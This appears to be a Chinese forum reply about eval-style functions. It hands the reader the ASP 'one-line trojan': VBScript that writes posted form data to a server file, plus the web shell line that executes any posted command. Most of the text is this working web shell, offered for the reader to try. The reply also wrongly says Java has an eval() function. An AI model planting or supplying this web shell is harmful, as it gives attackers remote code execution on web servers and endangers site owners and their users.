在VB中这好象不能实现,但在java中好象有一个eval()( 或者execute())函数,可以执行括号里面的一段代码。
你应该听说过“一句话木马”吧?它用的就是这个函数(不好意思,我学ASP没多久)。给你它的代码,自己研究一下,还是比较简单的:
客户端代码:
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request.form("main")
lP.SaveToFile server.mappath("help.asp"),2
lP.Close
set lP=nothing
response.redirect "help.asp"
上面是主要的代码(使用VBscript),如果你学过HTML,还是比较好理解的。
在服务端插入代码<%execute request.form("cmd")%>